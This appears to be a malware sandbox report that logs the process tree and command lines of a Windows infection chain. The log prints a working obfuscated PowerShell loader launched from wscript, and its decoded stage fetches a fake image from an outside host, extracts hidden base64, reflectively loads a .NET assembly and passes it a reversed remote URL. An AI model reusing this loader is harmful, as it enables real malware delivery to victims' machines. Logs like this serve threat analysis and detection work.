sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2028
0 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
parent_process wscript.exe martian_process powershell -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe